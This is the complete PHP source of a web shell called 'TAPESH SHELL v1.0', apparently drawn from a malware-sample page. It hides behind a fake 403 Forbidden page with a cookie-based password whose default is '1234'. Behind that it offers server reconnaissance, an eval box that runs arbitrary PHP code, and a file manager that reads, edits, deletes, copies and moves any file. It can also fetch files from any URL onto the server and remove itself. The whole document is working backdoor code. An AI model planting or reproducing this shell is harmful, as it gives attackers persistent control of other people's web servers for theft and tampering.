Jump to:
Screenshot
Attributes
Environment
<?php
ob_start();
if (!isset($_COOKIE['TapeshPassword'])) {
setcookie('TapeshPassword', md5("1234"), time() + 2592000);
} else {
echo "";
}
@($password = $_POST['password']);
if (@$_COOKIE['TapeshPassword'] == md5($password)) {
setcookie('Tapeshlog', 'true', time() + 2592000);
} else {
if (!isset($_COOKIE['Tapeshlog']) || $_COOKIE['Tapeshlog'] == "false" || !isset($_COOKIE['Tapeshlog'])) {
$Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
$SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "";
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
exit;
} else {
if ($_COOKIE['Tapeshlog'] == "true") {
echo "";
}
}
}
?>
<html>
<head>
<style>
html, body {
height: 100%;
width: 100%;
padding: 0;
margin: 0;
font-size: 12px;
font-family: Verdana,Geneva,sans-serif;
}
#full-screen-background-image {
z-index: -999;
min-height: 100%;
min-width: 1024px;
width: 100%;
height: auto;
position: fixed;
top: 0;
left: 0;
opacity: 0.3;
}
a{
text-decoration:none;
color:#fff;
}
a::after
{
content: "";
color: #fff;
top: 0;
bottom: 0;
}
tbody > tr > td
{
position: relative;
}
tbody > tr > td > a::after
{
content: "";
top: 4px;
bottom: 0;
border-left: 1px solid #fff;
position: absolute;
height: 29px;
right: -1px;
text-align: center;
}
table > tbody > tr > td > center
{
position: relative;
}
table > tbody > tr > td > center:last-child
{
position: unset;
}
table > tbody > tr > td > center::after
{
content: "";
top: 3px;
bottom: 0;
border-left: 1px solid #fff;
position: absolute;
height: 30px;
right: -1px;
text-align: center;
}
tbody > tr > td > center
{
color:#fff;
}
.c-form
{
position: relative;
}
.c-backgound
{
position: absolute;
width: 100%;
height: 100%;
background: black;
opacity: .7;
}
.c-footer
{
border: 5px solid #fff;
border-right-color: #000;
border-left-color: #000;
border-top: unset;
border-radius: 5px;
position: relative;
z-index: 1;
}
.c-footer center
{
margin-top: 91px;
}
.c-footer_background
{
background-color: #000;
opacity: 0.73;
width: 100%;
position: absolute;
height: 100%;
z-index: -999;
}
.first > th > center{
color: #fff;
position: absolute;
margin-top: -30px;
margin-left: 15px;
}
fieldset > center
{
overflow: hidden;
display: block;
position: relative;
}
fieldset > center > textarea
{
width: 100%;
height: 500px;
background-color: #000;
color: #fff;
padding-top: 10px;
padding-left: 50px;
}
table > tbody > tr:hover
{
background-color: #fff;
}
table > tbody > tr:nth-child(1):hover
{
background-color: unset;
}
.first-child
{
padding-bottom: 12px;
}
table > tbody > tr:nth-child(3) > td:last-child > center .submit
{
top: -23px;
right: 8px;
}
.c-form_options
{
position: relative;
}
.c-form_options > select
{
transform: translate(-65%, -103%);
position: absolute;
background-color: #000;
border: 1px solid #fff;
color: #fff;
}
.submit
{
position: absolute;
top: -23px;
right: 8px;
background-color: #0d6aad;
border: 1px solid #fff;
color: #fff;
border-radius: 5px;
}
table > tbody > tr > td > center > select
{
transform: translate(-34%, -50%);
position: absolute;
}
table > tbody > tr > td > center input[type="submit"]:nth-child(1)
{
top: 8px;
right: 4px;
}
.c-footer_button
{
position: absolute;
width: 100%;
display: flex;
white-space: nowrap;
justify-content: space-around;
margin-bottom: 10px;
margin-top: 30px;
}
.icon-directory
{
height: 30px;
margin-top: 1px;
margin-right: 20px;
}
.icon-directory img
{
left: 10px;
}
.c-footer_label
{
display: flex;
position: absolute;
}
.c-footer_label label
{
margin-left: 225px;
}
.icon-php{
height: 30px;
margin-right: 10px;
}
.icon-txt
{
margin-right: 10px;
height: 30px;
}
.icon-html{
margin-right: 10px;
height: 30px;
}
.c-header_toolbar
{
position: relative;
margin: 0 10px;
}
.c-header_toolbar ul
{
list-style: none;
display: flex;
justify-content: space-between;
align-items: center;
}
.c-btn
{
background-color: unset;
border: 5px solid green;
color: #fff;
padding: 6px 30px;
font-size: 15px;
cursor: pointer;
}
.c-textarea
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
}
.c-textarea1
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
margin-top: 25px;
}
.c-value
{
width: 99%;
height: 300px;
background-color: #000;
color: #fff;
}
.c-btn_submit
{
display: flex;
justify-content: center;
position: absolute;
top: 106%;
z-index: 999;
}
.c-eval
{
position: relative;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
margin-bottom: 62px;
}
.c-p
{
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
color: #fff;
}
.c-default_btn
{
background-color: #0d6aad;
color: #fff;
border: none;
margin-top: 20px;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
}
.c-input
{
background-color: #000;
color: #fff;
border: 1px solid;
display: flex;
align-items: center;
justify-content: center;
margin-top: 27px;
width: 60%;
direction: ltr;
}
.c-checkbox
{
height: 30px;
height: 20px;
width: 20px;
/* margin-bottom: -18px; */
opacity: 0;
margin-left: 0px;
margin-top: 0px;
z-index: 999;
position: absolute;
}
.c-checkbox_span
{
margin-right: 15px;
position: relative;
height: 20px;
width: 20px;
display: block;
background-color: #fff;
border-radius: 50%;
}
.c-checkbox:checked + .c-checkbox_span::after
{
content: "";
background-color: #40D437;
height: 16px;
width: 16px;
border-radius: 50%;
display: block;
top: 10px;
margin-top: 1.9px;
margin-left: 1px;
}
.c-td
{
display: flex;
}
.c-tools
{
display: flex;
max-width: 50%;
justify-content: space-between;
height: 32%;
margin-bottom: 16px;
max-height: 59px;
}
.c-input_zip
{
transform: translateY(122%);
margin-left: 19%;
height: 22px;
margin-right: 14px;
}
.c-label
{
margin-left: 35px;
}
.c-logo
{
display: flex;
flex-direction: column;
position: absolute;
right: 46px;
top: 38%;
bottom: 30px;
transform: translateY(-50%);
}
.c-log
{
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
</style>
<title>..:: TAPESH SHELL v1.0 ::..</title>
<meta charset="UTF-8">
<link href="https://uupload.ir/files/2mcw_yqh9_capture.png" rel="shortcut icon" />
</head><body>
<img alt="full screen background image" src="https://uupload.ir/files/6gbq_ahoramazda.jpg" id="full-screen-background-image" />
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<form>
<fieldset style="border: 5px solid #00fff7; padding:3px">
<div class="c-logo"><img style="border-radius:100px;" draggable="false" src="https://uupload.ir/files/ozxz_yqh9_capture.png" align="right" width="300" height="170"><a style="color: rgb(0, 128, 0);font-family: inherit;font-size: 16px; text-align: center;" href="https://t.me/ICTUS_TM">Tapesh Digital Security Team</a></div>
<legend style="color:#0F0">TAPESH TEAM SHELL</legend>
<?php
echo "<font color='red' style='font-size:18px;'> Uname : ";
echo "<font color='green' style='font-size:15px;'>";
echo php_uname();
echo "PHP_OS";
if (false) {
} else {
}
?>
<td rowspan="14" width="16%"></td>
<br>
<?php
echo "<font color='red' style='font-size:18px;'> Software : ";
echo "<font color='green' style='font-size:15px;'>";
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
echo $DISP_SERVER_SOFTWARE;
?>
<br>
<?php
echo "<font color='red' style='font-size:18px;'> USER : ";
echo "<font color='green' style='font-size:15px;'>";
echo get_current_user();
echo "<font color='red' style='font-size:18px;'> Group : ";
echo "<font color='green' style='font-size:15px;'>";
echo getmyuid();
?>
<br>
<?php
function getflagfromip($ip)
{
@($ip = $_SERVER['REMOTE_ADDR']);
@($json_data = file_get_contents("http://ip-api.com/json/{$ip}"));
@($ip_data = json_decode($json_data, TRUE));
@($country = strtolower($ip_data['countryCode']));
@($iplocee = "<img src='https://api.hostip.info/images/flags/{$country}.gif' height='13' width='20'/>");
return $iplocee;
}
?>
<?php
@${$vistor_ip};
echo "<font color='red' style='font-size:18px;'> Your Ip Address is : </font><font color=green>" . $_SERVER['REMOTE_ADDR'] . " " . @getflagfromip($vistor_ip) . "</font>";
echo "<font color='red' style='font-size:18px;'> Server Ip Address is : </font><font color=green>" . (@function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . " " . @getflagfromip($server_ip) . "</font><br>";
?>
<?php
$bytes = disk_free_space(".");
$si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
$base = 1024;
$class = min((int) log($bytes, $base), count($si_prefix) - 1);
echo "<font color='red' style='font-size:18px;'> HDD: ";
echo "<font color='red' style='font-size:15px;'> free: ";
echo "<font color='green' style='font-size:15px;'>";
echo sprintf('%1.2f', $bytes / pow($base, $class)) . ' ' . $si_prefix[$class];
?>
<?php
$bytes = disk_total_space(".");
$si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
$base = 1024;
$class = min((int) log($bytes, $base), count($si_prefix) - 1);
echo "<font color='red' style='font-size:14px;'> Total: ";
echo "<font color='green' style='font-size:15px;'>";
echo sprintf('%1.2f', $bytes / pow($base, $class)) . ' ' . $si_prefix[$class] . '<br />';
?>
<?php
echo "<font color='red' style='font-size:18px;'> Safe_Mode : ";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = true;
$hsafemode = "<font color='green' style='font-size:15px;'> ON (secure)</font>";
} else {
$safemode = false;
$hsafemode = "<font color='green' style='font-size:15px;'>OFF (--not secure--)</font>";
}
echo $hsafemode;
?>
<?php
function convert($size)
{
$unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
return @round($size / pow(1024, $i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
}
?>
<?php
echo "<font color='red' style='font-size:18px;'> PHP Version : ";
echo "<font color='green' style='font-size:17px;'>";
echo phpversion();
?>
<?php
echo "<br/>";
$ggg2 = $_SERVER['SERVER_NAME'];
echo "<font color='red' style='font-size:18px;'> Now Domain: ";
echo "<font color='green' style='font-size:17px;'>";
echo $ggg2;
echo "<br/>";
$gg2 = convert(memory_get_usage(true));
echo "<font color='red' style='font-size:18px;'> Memory Usage : ";
echo "<font color='green' style='font-size:17px;'>";
echo $gg2;
echo "<br>";
$gg = date('Y-m-d H:i:s');
echo "<font color='red' style='font-size:18px;'> Date/Time : ";
echo "<font color='green' style='font-size:17px;'>";
echo $gg;
echo "<br>";
$functions = @ini_get('disable_functions');
$functions = str_replace(',', ' |', $functions);
if (empty($functions)) {
$functions = '<font color="green">All Functions Accessible</font>';
}
echo "<font color='red' style='font-size:18px;'> Disbale Functions : ";
echo "<font color='red' style='font-size:17px;'>";
echo $functions;
echo "<br>";
// $self = $_SERVER['PHP_SELF'];
// echo "<font color='red' style='font-size:18px;'> Disbale Functions : ";
// echo "<font color='green' style='font-size:17px;'>";
// echo $self;
// echo "<br>";
?>
<br>
</fieldset>
</form>
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<div class="c-header_toolbar">
<ul>
<li class="c-li_item">
<form method="get">
<?php
getcwd();
?>
<button class="c-btn">File Manager</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="eval">eval</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="RemoveShell">Remove Shell</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="UploadFromUrl">Upload From Url</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="About">About Us</button>
</form>
</li>
<li class="c-li_item">
<form method="post">
<input type="hidden" name="not" value="1">
<button name="action" class="c-btn" value="Setting">Setting</button>
</form>
</li>
<?php
if (isset($_COOKIE['Tapeshlog']) || isset($_COOKIE['TapeshPassword'])) {
echo " <form method=\"post\">\r\n <input type=\"hidden\" name=\"not\" value=\"1\">\r\n <button name=\"Out\" class=\"c-btn\" value=\"Log\" style='border-color: red;color: red'>Log Out</button>\r\n </form>";
if (isset($_POST['Out'])) {
setcookie('Tapeshlog', 'false');
@header('location: ' . $_SERVER["PHP_SELF"]);
}
}
?>
</ul>
</div>
<hr style="border-radius: 100px; height: 2px; background-color: #40D437; width: 100%;">
<?php
if (isset($_POST['action']) && $_POST['action'] == "Setting") {
echo "<form method=\"post\">\r\n <input type=\"hidden\" name=\"not\" value=\"1\">\r\n <input name=\"action\" type=\"hidden\" value=\"Setting\">\r\n <div class='c-log'>\r\n Please Enter Your Password : <input name=\"password1\" type=\"password\" style='width: 1000px'>\r\n <input type=\"submit\" style='width: 100px' class=\"c-log_btn\" value=\"Submit\">\r\n </div>\r\n</form>";
if (isset($_POST['password1'])) {
$password = $_POST['password1'];
setcookie('TapeshPassword', md5($password));
setcookie('Tapeshlog', 'false');
@header('location: ' . $_SERVER["PHP_SELF"]);
}
}
if (isset($_POST['action']) && $_POST['action'] == "About") {
echo "<center>ICTUS TM SHELL\r\n <br>\r\n <br>\r\n Telegram Channel : @ICTUS_TM\r\n <br>\r\n <br>\r\n Coded By : Sorna - Parsa Alpha\r\n</center>";
}
function get_current_file_url($Protocol = 'http://')
{
return $Protocol . $_SERVER['HTTP_HOST'] . str_replace($_SERVER['DOCUMENT_ROOT'], '', realpath("/var/www/html"));
}
if (isset($_POST['action']) && $_POST['action'] == "eval") {
echo "</div><form class='c-eval' method=\"post\">\r\n \r\n <input type=\"hidden\" name=\"not\" value=\"1\">\r\n <input name=\"action\" type=\"hidden\" value=\"eval\">\r\n <textarea type='text' class='c-value' name='evalvalue'></textarea>\r\n <input type='submit' class='c-btn c-btn_submit' value='GO'>\r\n </form>";
@($eval = $_POST['evalvalue']);
if (isset($eval)) {
echo "<textarea class='c-textarea1' style='z-index: 999;'>";
echo eval($eval);
echo "</textarea>";
}
} else {
if (isset($_POST['action']) && $_POST['action'] == "RemoveShell") {
echo " <form method=\"post\">\r\n <input type=\"hidden\" name=\"not\" value=\"1\">\r\n <input name=\"action\" type=\"hidden\" value=\"RemoveShell\">\r\n <input type='hidden' name='remove' value='1'>\r\n <p class='c-p'>Do you want to destroy me?! <input type='submit' class='c-default_btn' VALUE='Yes'></p>\r\n </form>";
if (isset($_POST['remove'])) {
$GLOBALS['__file_path'] = str_replace('\\', '/', trim("/var/www/html/TAPESH-SHELL-v1.0.php.84307f699b6a2fe59bbdad63b7d76b8a.bin"));
if (@unlink($GLOBALS['__file_path'])) {
return "<p class=\"c-p\">Shell has been removed</p>";
} else {
return "<p class=\"c-p\">Error</p>";
}
}
} else {
if (isset($_POST['action']) && $_POST['action'] == "UploadFromUrl") {
echo "<form method=\"post\">\r\n <input type=\"hidden\" name=\"not\" value=\"1\">\r\n <input name=\"action\" type=\"hidden\" value=\"UploadFromUrl\">\r\n <p class='c-p'>Please enter your URL : <input class='c-input' type=\"text\" name=\"UrlValue\">\r\n <input type='submit' name='test1' class='c-default_btn' value='GO'></p> \r\n </form>";
if (isset($_POST['test1'])) {
$url = $_POST['UrlValue'];
$data = file_get_contents($url);
if (file_exists("Tapesh")) {
} else {
mkdir("Tapesh");
}
$new = "Tapesh/" . basename($url);
file_put_contents($new, $data);
echo "True";
}
}
}
}
?>
<?php
if (isset($_POST['not'])) {
echo "<fieldset class=\"c-form\" style=\"border: 5px solid #00fff7; padding: 3px;display:none;\"><div class=\"c-backgound\"></div>";
} else {
echo "<fieldset class=\"c-form\" style=\"border: 5px solid #00fff7; padding: 3px\"><div class=\"c-backgound\"></div>";
}
?>
<?php
set_time_limit(0);
error_reporting(0);
error_log(0);
$__gcdir = "getcwd";
$__fgetcon7s = "file_get_contents";
$__scdir = "scandir";
$rm__dir = "rmdir";
$un__link = "unlink";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $tapesh . '</center></h1></div>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo "<table width=\"100%\" border=\"0\" align=\"center\" style=\"margin-top:-10px;\"><tr><td class=\"first-child\">";
echo "<img src=\"https://icons.iconarchive.com/icons/graphicloads/100-flat/256/home-icon.png\" style=\"padding-right: 10px;width: 30px;\">";
echo "<a href=\"?\">[ --TAPESH HOME-- ]</a> ";
echo "<br>";
echo "<img src=\"https://cdn0.iconfinder.com/data/icons/small-n-flat/24/678111-map-marker-512.png\" style=\"width: 23px;padding-top: 16px;\">";
echo "<font color='red' style='font-size:13px;'> PWD : ";
foreach ($paths as $id => $pat) {
echo "<a style='font-size:13px;' href='?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
str_replace('/', '', $pat);
echo "'>{$pat}</a>/";
}
echo "</td></tr></table><div class=\"table-div\"></div><input id=\"image\" type=\"hidden\">";
echo "";
if (isset($_GET['cmd'])) {
echo "GOOD";
}
if (isset($_GET['filesrc'])) {
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr><td>File: ";
echo "" . basename($_GET['filesrc']);
"";
echo "</tr></td></table><br />";
echo "<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>";
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<center><font color=\"#00ff00\">Rename OK!</font></center><br />";
} else {
echo "<center><font color=\"red\">Rename Failed!</font></center><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<center><font color=\"#00ff00\">Edit File OK!.</font></center><br />";
} else {
echo "<center><font color=\"red\">Edit File Failed!.</font></center><br />";
}
fclose($fp);
}
echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
}
echo "</center>";
} else {
echo "</table><br /><center>";
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if ($rm__dir($_POST['path'])) {
echo "<center><font color=\"#00ff00\">Dir Deleted!</font></center><br />";
} else {
echo "<center><font color=\"red\">Delete Dir Failed!</font></center><br />";
}
} elseif ($_POST['type'] == 'file') {
if ($un__link($_POST['path'])) {
echo "<font color=\"#00ff00\">Delete File Done.</font><br />";
} else {
echo "<font color=\"red\">Delete File Error.</font><br />";
}
}
}
echo "</center>";
$_scdir = $__scdir($path);
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"><tr class=\"first\"> <th><center style=\"left: 19%;\">Name</center></th><th width=\"12%\"><center style=\"right: 620px\">Size</center></th><th width=\"10%\"><center>Permissions</center></th> <th width=\"15%\"><center style=\"right: 15%\">Last Update</center></th><th width=\"11%\"><center style=\"right: 4%;\">Options</center></th></tr>";
echo "<td><img class=\"icon-directory\" src=\"https://icon-library.com/images/file-folder-icon-png/file-folder-icon-png-25.jpg\"> <a href=\"?path={$path}/../\">..</a></td></td><td><center></center></td><td><center><font color=\"#00ff00\">drwxrwxrwx</font></center></td><td><center>08-Apr-2021 17:35</center></td> <td><center></center>";
foreach ($_scdir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "<tr><td class='c-td'><input type='checkbox' class='c-checkbox' name=\"{$dir}\"><span class='c-checkbox_span'></span> <img class='icon-directory' src='https://icon-library.com/images/file-folder-icon-png/file-folder-icon-png-25.jpg'> <a href=\"?path={$path}/{$dir}\">{$dir}</a></td><td><center>--</center></td><td><center>";
if (is_writable("{$path}/{$dir}")) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable("{$path}/{$dir}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$dir}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
echo "</font>";
}
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$dir}")) . "";
echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path={$path}\" class='c-form_options'><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"{$dir}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\"><input type=\"submit\" value=\"+\" class='submit'/></form></center></td></tr>";
}
function realFilename($url)
{
$headers = get_headers($url, 1);
$headers = array_change_key_case($headers, CASE_LOWER);
$realfilename = '';
if (isset($headers['content-disposition'])) {
$tmp_name = explode('=', $headers['content-disposition']);
if ($tmp_name[1]) {
$realfilename = trim($tmp_name[1], '";\'');
}
} else {
$info = pathinfo($url);
if (isset($info['extension'])) {
$realfilename = $info['filename'] . '.' . $info['extension'];
}
}
return $realfilename;
}
$fullurl = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
$shellname = realFilename($fullurl);
foreach ($_scdir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr><td class='c-td'>";
@($file_path = $file);
@($extension = pathinfo($file_path, PATHINFO_EXTENSION));
if ($extension == "php") {
echo "<input type='checkbox' class='c-checkbox' name='{$file}'><span class='c-checkbox_span'></span><img class='icon-php' src='https://image.flaticon.com/icons/png/512/2175/2175265.png'>";
} else {
if ($extension == "txt") {
echo "<input type='checkbox' class='c-checkbox' name='{$file}'><span class='c-checkbox_span'></span><img class='icon-txt' src='https://icons.iconarchive.com/icons/pelfusion/flat-file-type/512/txt-icon.png'>";
} else {
if ($extension == "html" or $extension == "htm") {
echo "<input type='checkbox' class='c-checkbox' name='{$file}'><span class='c-checkbox_span'></span><img class='icon-html' src='https://cdn.iconscout.com/icon/free/png-256/html-file-22-504452.png'>";
} else {
echo "<input type='checkbox' class='c-checkbox' name='{$file}'><span class='c-checkbox_span'></span><img class='icon-directory' src='https://uupload.ir/files/3p7i_1f06cbdadc6400b2c2032f570791c630.png'>";
}
}
}
if ($shellname == $file) {
echo "<a href=\"?filesrc={$path}/{$file}&path={$path}\" style='color: red'>{$file}</a></td><td><center>" . $size . "</center></td><td><center>";
} else {
echo "<a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td><td><center>" . $size . "</center></td><td><center>";
}
if (is_writable("{$path}/{$file}")) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("{$path}/{$file}")) . "";
echo "</center></td><td><center><form method=\"POST\" action=\"?option&path={$path}\" class='c-form_options'><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"{$file}\"><input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\"><input type=\"submit\" value=\"+\" class='submit'/></form></center></td></tr>";
$i += 1;
}
echo "</table></div>";
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
echo "<br>";
echo "</body></html>";
?>
</fieldset>
<div class="c-tools">
<input type="submit" name="remove_Your" class="c-default_btn" onsubmit="autoRefresh(100)" value="Delete">
<?php
echo "<input type=\"hidden\" name=\"path\" value=\"{$path}\">";
?>
<input type="text" placeholder="Please Enter You Directory" class="c-input_zip" name="copy_name"> <input type="submit" name="copy_work" class="c-default_btn" value="Copy">
<input type="text" placeholder="Please Enter You Directory" class="c-input_zip" name="Move_name"> <input type="submit" name="Move_work" class="c-default_btn" value="Move">
<input type="text" placeholder="Please Enter Yor Zip Name" class="c-input_zip" name="zip_name"> <input type="submit" name="zip_work" class="c-default_btn" value="Zip">
<input type="submit" style="position: absolute;right: 9px;" name="Unzip_work" class="c-default_btn" value="Unzip">
</div>
</table>
</form>
<script>
</script>
<?php
$step1 = explode('=on&', $shellname);
$step2 = explode('?', $step1[0]);
$count = count($step1);
$data = $path . "/" . $step2[1];
function deleteFolder($path)
{
if (is_dir($path) === true) {
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file) {
deleteFolder(realpath($path) . '/' . $file);
}
return rmdir($path);
} else {
if (is_file($path) === true) {
return unlink($path);
}
}
return false;
}
function makeAll($dir, $mode = 0777, $recursive = true)
{
if (is_null($dir) || $dir === "") {
return false;
}
if (is_dir($dir) || $dir === "/") {
return true;
}
if (makeAll(dirname($dir), $mode, $recursive)) {
return mkdir($dir, $mode);
}
return false;
}
function smartCopy($source, $dest, $options = array('folderPermission' => 0755, 'filePermission' => 0755))
{
$result = false;
if (!isset($options['noTheFirstRun'])) {
$source = str_replace('\\', '/', $source);
$dest = str_replace('\\', '/', $dest);
$options['noTheFirstRun'] = true;
}
if (is_file($source)) {
if ($dest[strlen($dest) - 1] == '/') {
if (!file_exists($dest)) {
makeAll($dest, $options['folderPermission'], true);
}
$__dest = $dest . "/" . basename($source);
} else {
$__dest = $dest;
}
$result = copy($source, $__dest);
chmod($__dest, $options['filePermission']);
} elseif (is_dir($source)) {
if ($dest[strlen($dest) - 1] == '/') {
if ($source[strlen($source) - 1] == '/') {
} else {
$dest .= basename($source);
@mkdir($dest);
chmod($dest, $options['filePermission']);
}
} else {
if ($source[strlen($source) - 1] == '/') {
@mkdir($dest, $options['folderPermission']);
chmod($dest, $options['filePermission']);
} else {
@mkdir($dest, $options['folderPermission']);
chmod($dest, $options['filePermission']);
}
}
$dirHandle = opendir($source);
while ($file = readdir($dirHandle)) {
if ($file != "." && $file != "..") {
$__dest = $dest . "/" . $file;
$__source = $source . "/" . $file;
if ($__source != $dest) {
$result = smartCopy($__source, $__dest, $options);
}
}
}
closedir($dirHandle);
} else {
$result = false;
}
return $result;
}
function smartrename($source, $dest, $options = array('folderPermission' => 0755, 'filePermission' => 0755))
{
$result = false;
if (!isset($options['noTheFirstRun'])) {
$source = str_replace('\\', '/', $source);
$dest = str_replace('\\', '/', $dest);
$options['noTheFirstRun'] = true;
}
if (is_file($source)) {
if ($dest[strlen($dest) - 1] == '/') {
if (!file_exists($dest)) {
makeAll($dest, $options['folderPermission'], true);
}
$__dest = $dest . "/" . basename($source);
} else {
$__dest = $dest;
}
$result = rename($source, $__dest);
chmod($__dest, $options['filePermission']);
} elseif (is_dir($source)) {
if ($dest[strlen($dest) - 1] == '/') {
if ($source[strlen($source) - 1] == '/') {
} else {
$dest .= basename($source);
@mkdir($dest);
chmod($dest, $options['filePermission']);
}
} else {
if ($source[strlen($source) - 1] == '/') {
@mkdir($dest, $options['folderPermission']);
chmod($dest, $options['filePermission']);
} else {
@mkdir($dest, $options['folderPermission']);
chmod($dest, $options['filePermission']);
}
}
$dirHandle = opendir($source);
while ($file = readdir($dirHandle)) {
if ($file != "." && $file != "..") {
$__dest = $dest . "/" . $file;
$__source = $source . "/" . $file;
if ($__source != $dest) {
$result = smartrename($__source, $__dest, $options);
}
}
}
closedir($dirHandle);
} else {
$result = false;
}
return $result;
}
if (isset($_GET['remove_Your'])) {
deleteFolder($data);
unlink($data);
for ($i = 1; $i + 1 < $count; $i++) {
$data2 = $path . "/" . $step1[$i];
deleteFolder($data2);
unlink($data2);
}
}
if (isset($_GET['copy_work'])) {
$address = $_GET['copy_name'];
$step1 = explode('=on&', $shellname);
$step2 = explode('?', $step1[0]);
$count = count($step1);
$data = $path . "/" . $step2[1];
smartCopy($data, $path . "/" . $address . "/" . $step2[1]);
for ($i = 1; $i + 1 < $count; $i++) {
$data2 = $path . "/" . $step1[$i];
smartCopy($data2, $path . "/" . $address . "/" . $step1[$i]);
}
}
